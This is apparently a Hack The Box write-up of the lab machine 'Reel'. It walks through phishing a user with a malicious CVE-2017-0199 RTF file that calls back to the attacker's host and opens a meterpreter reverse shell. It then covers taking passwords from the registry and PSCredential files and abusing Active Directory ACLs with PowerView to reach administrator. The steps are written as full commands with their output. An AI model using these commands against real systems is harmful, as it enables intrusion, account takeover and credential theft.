I thoroughly enjoyed Reel. This type of box is outside of my comfort zone, and I had the opportunity to learn a lot on this one. During my progression through this box, I found a ton of really interesting research involving Derivative Domain Admin and similar techniques that leverage Active Directory trust relationships to eventually become a domain admin. Poring over some of the material for this box introduced me to new folks to follow on twitter, new tools to play with, and new blogs to follow. Overall I think egre55 did a fantastic job on this box. It felt realistic in a way that a lot of boxes miss the mark on.
As usual, we start off with a
masscan followed by a targeted
masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.10.10.10.77.all 10.10.10.77
open tcp 445 10.10.10.77 1541640008 open tcp 135 10.10.10.77 1541640020 open tcp 21 10.10.10.77 1541640062 open tcp 593 10.10.10.77 1541640101 open tcp 25 10.10.10.77 1541640104 open tcp 139 10.10.10.77 1541640113 open tcp 49159 10.10.10.77 1541640138 open tcp 22 10.10.10.77 1541640155
nmap -sC -sV -oA nmap.10.10.10.77 -p 445,135,21,593,25,139,49159,22 10.10.10.77
PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_05-28-18 11:19PM <DIR> documents | ftp-syst: |_ SYST: Windows_NT 22/tcp open ssh OpenSSH 7.6 (protocol 2.0) | ssh-hostkey: | 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA) | 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA) |_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519) 25/tcp open smtp? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe: | 220 Mail Service ready | FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest: | 220 Mail Service ready | Hello: | 220 Mail Service ready | EHLO Invalid domain address. | Help: | 220 Mail Service ready | DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY | SIPOptions: | 220 Mail Service ready | smtp-commands: LOCALHOST, SIZE 20480000, AUTH LOGIN PLAIN, HELP, |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB) 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49159/tcp open msrpc Microsoft Windows RPC -------------8<------------- Service Info: Host: REEL; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 6s, deviation: 2s, median: 4s | smb-os-discovery: | OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3) | OS CPE: cpe:/o:microsoft:windows_server_2012::- | Computer name: REEL | NetBIOS computer name: REEL\x00 | Domain name: HTB.LOCAL | Forest name: HTB.LOCAL | FQDN: REEL.HTB.LOCAL |_ System time: 2018-11-08T01:43:11+00:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2018-11-07 19:43:10 |_ start_date: 2018-11-05 00:24:35
Seeing that the ftp server accepts anonymous connections, we can do a quick pull of all available files.
wget -r ftp://10.10.10.77
10.10.10.77/ 10.10.10.77/documents 10.10.10.77/documents/Windows Event Forwarding.docx 10.10.10.77/documents/readme.txt 10.10.10.77/documents/AppLocker.docx
Looking at readme.txt, it sounds like our way into the box is probably exploiting a user whom we can reasonably expect is checking their email. The note says that the recipient will be expecting Rich Text Format (RTF) files.
10.10.10.77/documents/readme.txt ════════════════════════════════ please email me any rtf format procedures - I'll review and convert. new format / converted documents will be saved here.
There were two word documents on the ftp server.
Applocker.docx gives us an indication about some of the protective measures employed by the box. We’ll come back to the other document a little later.
10.10.10.77/documents/AppLocker.docx ════════════════════════════════════ AppLocker procedure to be documented - hash rules for exe, msi and scripts (ps1,vbs,cmd,bat,js) are in effect.
A quick google search turns up what seems to be a likely candidate to generate a malicious RTF for exploitation. Exploit toolkit CVE-2017-0199.
Exploit toolkit CVE-2017-0199 - v4.0 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft Office RCE. It could generate a malicious RTF/PPSX file and deliver metasploit / meterpreter / other payload to victim without any complex configuration.
Let’s go ahead and generate our malicious RTF.
git clone https://github.com/bhdresh/CVE-2017-0199.git -------------8<------------- python /opt/exploits/CVE-2017-0199/cve-2017-0199_toolkit.py -M gen -t RTF -w /root/htb/reel/Invoice.rtf -u http://10.10.14.2:8080/
cve-2017-0199_toolkit.py options used: -M gen|exp gen - generate malicious RTF/PPSX file -t RTF|PPSX RTF - type of file to be generated -w FILENAME name of malicious RTF/PPSX file -u URL path to an HTA/SCT file. Normally, this should be a domain or IP where this tool is running. For example, http://attackerip.com/test.doc (This URL will be included in malicious RTF/PPSX file and will be requested once victim will open malicious RTF file.
As cool as the above python script undoubtedly is, I was not successful with the above script alone. Similarly, I was not able to get the metasploit module below to work on its own. Fortunately, we’re able to meld the python above with the metasploit module Microsoft Office Word Malicious Hta Execution, to eventually get RCE.
This module creates a malicious RTF file that when opened in versions of Microsoft Word will lead to code execution. … This module was created by reversing a public malware sample.
Let’s get msfconsole setup to handle the callback.
use exploit/windows/fileformat/office_word_hta set uripath / set payload windows/meterpreter/reverse_tcp set lhost tun0 set lport 443 exploit
[*] Started reverse TCP handler on 10.10.14.2:443 [+] msf.doc stored at /root/.msf4/local/msf.doc [*] Using URL: http://0.0.0.0:8080/ [*] Local IP: http://192.168.122.37:8080/ [*] Server started.
Let’s address the elephant in the room. To this point, we’ve done a lot of good setup, but we’re the hacking equivalent of being all dressed up with nowhere to go. Before we can go any further, we need a target. Specifically, we need the email of the person that’s opening up random RTF files all willy-nilly. Let’s take another look at those word documents we found on the ftp server.
Word documents are able to store metadata about all kinds of useful information. There are websites that can strip out the metadata on our behalf, but let’s dig in manually instead.
DOCX is the file format for Microsoft Office 2007+. DOCX is nothing more than a zip archive stuffed with primarily xml files. Knowing that, let’s
unzip our DOCX files and see what there is to see.
unzip Windows\ Event\ Forwarding.docx
Archive: Windows Event Forwarding.docx inflating: [Content_Types].xml inflating: _rels/.rels inflating: word/_rels/document.xml.rels inflating: word/document.xml inflating: word/theme/theme1.xml inflating: word/settings.xml inflating: word/webSettings.xml inflating: word/stylesWithEffects.xml inflating: docProps/core.xml inflating: word/styles.xml inflating: word/fontTable.xml inflating: docProps/app.xml
Metadata information is usually stored in the folder
docProps. Two or more XML files are stored inside that folder:
app.xml- stores metadata information extracted from Word itself
core.xml- stores metadata from the document, such as the author name, last time it was printed, etc.
core.xml sounds like a winner, let’s look.
xmllint --format docProps/core.xml
1<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 2<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> 3 <dc:creator>email@example.com</dc:creator> 4 <cp:revision>4</cp:revision> 5 <dcterms:created xsi:type="dcterms:W3CDTF">2017-10-31T18:42:00Z</dcterms:created> 6 <dcterms:modified xsi:type="dcterms:W3CDTF">2017-10-31T18:51:00Z</dcterms:modified> 7</cp:coreProperties>
Success! We have a target email address. We don’t know for sure that this is the RTF opener, but we can determine that relatively easily by sending him an email!
Before we send our email, let’s recap some info. We have our RTF file (
Invoice.rtf) generated with Exploit toolkit CVE-2017-0199, our metasploit module running on port 8080, and the email address firstname.lastname@example.org. Let’s put them all to use.
For the times I need a command line SMTP client, I use Swaks - Swiss Army Knife SMTP. It’s robust, yet pretty simple to use. Normally, I would break down the options and arguments used in a new tool, but those used below are (in my opinion) self-explanatory.
swaks --server 10.10.10.77 --to email@example.com --from firstname.lastname@example.org --attach /root/htb/reel/Invoice.rtf
=== Trying 10.10.10.77:25... === Connected to 10.10.10.77. <- 220 Mail Service ready -> EHLO kali <- 250-REEL <- 250-SIZE 20480000 <- 250-AUTH LOGIN PLAIN <- 250 HELP -> MAIL FROM:<email@example.com> <- 250 OK -> RCPT TO:<firstname.lastname@example.org> <- 250 OK -> DATA <- 354 OK, send. -> Date: Fri, 09 Nov 2018 05:12:23 -0600 -> To: email@example.com -> From: firstname.lastname@example.org -------------8<------------- -> NCB9fX19CntcKlxkYXRhc3RvcmUgfQp9Cg== -> -> ------=_MIME_BOUNDARY_000_5848-- -> -> -> . <- 250 Queued (11.422 seconds) -> QUIT <- 221 goodbye === Connection closed with remote host.
[*] Sending stage (179779 bytes) to 10.10.10.77 [*] Meterpreter session 1 opened (10.10.14.2:443 -> 10.10.10.77:57776) at 2018-11-09 05:12:50 -0600
We’re in! Just to keep the steps straight, here’s a visual of what just happened.
Let’s grab user.txt while we’re here.
meterpreter > cd C:/users/nico/desktop meterpreter > cat user.txt fa36...
Also, we can snag nico’s password by checking the AutoAdminLogon setting from a cmd shell.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
1HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 2 -------------8<------------- 3 AutoLogonSID REG_SZ S-1-5-21-2648318136-3688571242-2924127574-1105 4 LastUsedUsername REG_SZ nico 5 DefaultDomainName REG_SZ HTB 6 AutoAdminLogon REG_DWORD 0x1 7 DefaultUserName REG_SZ nico 8 DisableLockWorkstation REG_DWORD 0x0 9 DefaultPassword REG_SZ 4dri@na2017!**
Why not dig into the AppLocker policy as well and see why our python script wouldn’t work on its own. The python script attempts to drop
C:\windows\temp\shell.exe and run it. We can test whether AppLocker allows this behavior with powershell.
get-applockerpolicy -effective | Test-AppLockerPolicy -path C:\windows\temp\shell.exe -user nico
FilePath PolicyDecision MatchingRule -------- -------------- ------------ C:\windows\temp\shell.exe DeniedByDefault
\o/ - access level: nico
There is an interesting file right beside user.txt on nico’s desktop
<Objs Version="220.127.116.11" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <Obj RefId="0"> <TN RefId="0"> <T>System.Management.Automation.PSCredential</T> <T>System.Object</T> </TN> <ToString>System.Management.Automation.PSCredential</ToString> <Props> <S N="UserName">HTB\Tom</S> <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS> </Props> </Obj> </Objs>
It definitely looks like something we care about.
If we google PSCredential, we arrive at microsoft documentation for PSCredential objects. The docs state that PSCredential objects offer a centralized way to manage usernames, passwords, and credentials. The field we’re concerned with (password obviously!), is of the type SecureString. To get the password from the PSCredential object, we need some PowerShell in our lives.
Thankfully, meterpreter has a powershell extension! It was added a few years ago by OJ Reeves (the same guy that wrote gobuster). We can load the powershell extension and run a PowerShell shell from within meterpreter, what a time to be alive!
1meterpreter > load powershell 2Loading extension powershell...Success. 3meterpreter > powershell_shell 4PS >
A few quick PowerShell commands, and we have tom’s password.
PS > $creds = Import-CliXml -path "C:\users\nico\desktop\cred.xml" PS > $creds.getnetworkcredential().password 1ts-mag1c!!!
If you recall from our nmap scan, this windows box has
ssh -l tom 10.10.10.77 pass: 1ts-mag1c!!! Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. tom@REEL C:\Users\tom>
\o/ - access level: tom
Poking around tom’s desktop we find some interesting files and folders.
C:\Users\tom\Desktop\AD Audit C:\Users\tom\Desktop\AD Audit\BloodHound C:\Users\tom\Desktop\AD Audit\note.txt C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors C:\Users\tom\Desktop\AD Audit\BloodHound\PowerView.ps1 C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors\acls.csv C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors\BloodHound.bin C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors\BloodHound_Old.ps1 C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors\SharpHound.exe C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors\SharpHound.ps1
C:\Users\tom\Desktop\AD Audit\note.txt ══════════════════════════════════════ Findings: Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query). Maybe we should re-run Cypher query against other groups we've created.
After some googling, it appears as though we found the results of an Active Directory audit run using the tool Bloodhound.
BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attacks can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment.
The file of note here is
acls.csv. According to bloodhound documentation,
acls.csv contains abusable Access Control Entries (ACEs) against user and group objects in the domain. That’s exciting, let’s check it out!
We’ll start by looking at entries where the user tom is the PrincipalName, there happens to be just the one.
This entry essentially tells us that the tom USER object has the ability to update the owner of the claire USER object. In effect, we can take over claire’s account, allowing us to manipulate the account in any way we choose. We can perform the account takeover by using the
PowerView.ps1 script that was conveniently left lying around after the AD audit. Specifically, we’ll use the Set-DomainObjectOwner cmdlet from PowerView.
First up, we’ll import all the functionality housed within PowerView.ps1 by dot-sourcing the script. This will allow us to call any function defined within PowerView.ps1.
PS C:\Users\tom> cd '.\Desktop\AD Audit\BloodHound' PS C:\Users\tom\Desktop\AD Audit\BloodHound> . .\PowerView.ps1
Next, we’ll make tom the owner of the claire object by using the aforementioned Set-DomainObjectOwner.
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -Identity claire -OwnerIdentity tom -verbose VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=tom)(name=tom)(displayname=tom)))) VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=claire)(name=claire)(displayname=claire)))) VERBOSE: [Set-DomainObjectOwner] Attempting to set the owner for 'claire' to 'tom'
Finally, we’ll grant All rights on the claire object to tom via Add-DomainObjectAcl.
C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -rights All -verbose VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=tom)(name=tom)(displayname=tom)))) VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=claire)(name=claire)(displayname=claire)))) VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Tom Hanson,CN=Users,DC=HTB,DC=LOCAL 'All' on CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Tom Hanson,CN=Users,DC=HTB,DC=LOCAL rights GUID '00000000-0000-0000-0000-000000000000' on CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL
Having taken ownership of claire, we can do all sorts of fun things. Let’s keep it simple and just change claire’s password.
Initially working through the password step, if you didn’t use
-verbose, it was easy to miss that you weren’t meeting the password compexity requirements. However, a simple keyboard walk of 16 characters will suffice.
PS C:\Users\tom\Desktop\AD Audit\BloodHound> $newpass = ConvertTo-SecureString "1qaz!QAZ2wsx@WSX" -AsPlainText -Force PS C:\Users\tom\Desktop\AD Audit\BloodHound> set-domainuserpassword -identity claire -accountpassword $newpass -verbose VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'claire' VERBOSE: [Set-DomainUserPassword] Password for user 'claire' successfully reset
To ensure that things went as planned, we can
ssh into the box as claire using her newly set password.
ssh -l claire 10.10.10.77 pass: 1qaz!QAZ2wsx@WSX Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. claire@REEL C:\Users\claire>
\o/ - access level: claire
Note: Logging in as claire is not necessary, I just use it here for demonstrative purposes.
With our new access, let’s revisit
acls.csv. Similar to when we looked at tom, there is only one entry where claire is the PrincipalName.
This entry basically says that claire has the ability to write a new ACE to the target object’s Discretionary Access Control List (DACL). For example, an attacker may write a new ACE to the target object DACL giving the attacker full control of the target object.
To write a new ACE, we first need to grab claire’s password as a PSCredential object and store it for later use.
# Recall earlier we performed the following command # $newpass = ConvertTo-SecureString "1qaz!QAZ2wsx@WSX" -AsPlainText -Force $creds = new-object system.management.automation.pscredential("HTB\claire", $newpass)
Next, we’ll add tom to the Backup_Admins group using Add-DomainGroupMember.
Add-DomainGroupMember -Identity backup_admins -members 'tom' -credential $creds -Verbose
Finally, we grant All rights on the Backup_Admins group to tom by way of Add-ObjectAcl.
Add-ObjectAcl -Rights All -TargetIdentity backup_admins -PrincipalIdentity tom -Credential $creds -verbose
Now we can check out tom’s new group membership.
net user tom
-------------8<------------- Global Group memberships *Backup_Admins *Domain Users *SharePoint_Admins *MegaBank_Users *DR_Site *HelpDesk_Admins *Restrictions The command completed successfully.
\o/ - access level: Backup_Admins
Going back to
acls.csv, we see that there are no entries where Backup_Admins is the PrincipalName. This indicates our excellent adventure through Active Directory is at an end. Armed with our new group membership, we can check out some new areas of the filesystem that were previously barred to us, specifically,
C:\users\administrator\desktop. When we try to
type root.txt, we get an access denied message. However, there is a directory on the desktop named
C:\Users\Administrator\Desktop\Backup Scripts C:\Users\Administrator\Desktop\desktop.ini C:\Users\Administrator\Desktop\root.txt C:\Users\Administrator\Desktop\Backup Scripts\backup.ps1 C:\Users\Administrator\Desktop\Backup Scripts\backup1.ps1 C:\Users\Administrator\Desktop\Backup Scripts\BackupScript.ps1 C:\Users\Administrator\Desktop\Backup Scripts\BackupScript.zip C:\Users\Administrator\Desktop\Backup Scripts\folders-system-state.txt C:\Users\Administrator\Desktop\Backup Scripts\test2.ps1.txt
I’ve never been an administrator, but I’ve written my fair share of dirty automation scripts where I jammed a cleartext password into a variable and was off to the races. I know I’m not the only one who’s done this, so administrative scripts are interesting from that point of view. Taking a look through the scripts here, we hit paydirt.
tom@REEL C:\Users\Administrator\Desktop\Backup Scripts>type BackupScript.ps1 # admin password $password="Cr4ckMeIfYouC4n!"
After one final
ssh, we’re on as Administrator and can grab
ssh -l administrator 10.10.10.77 pass: Cr4ckMeIfYouC4n! -------------8<------------- Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. administrator@REEL C:\Users\Administrator>type desktop\root.txt 1018...
While you’re here, take a look at some of the scripts that egre55 used to create and maintain the box’s functionality. They provide a lot of insight into what’s going on behind the scenes. Digging into each one would be a bit much for this write-up, but I’ll list out the paths of the files I looked at in case you’re interested.
C:\users\Administrator\Documents\Watcher.ps1 C:\users\Administrator\Documents\Revert.ps1 C:\users\nico\documents\auto-enter.ahk C:\users\nico\documents\open-attachments.bat
\o/ - access level: Administrator
I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.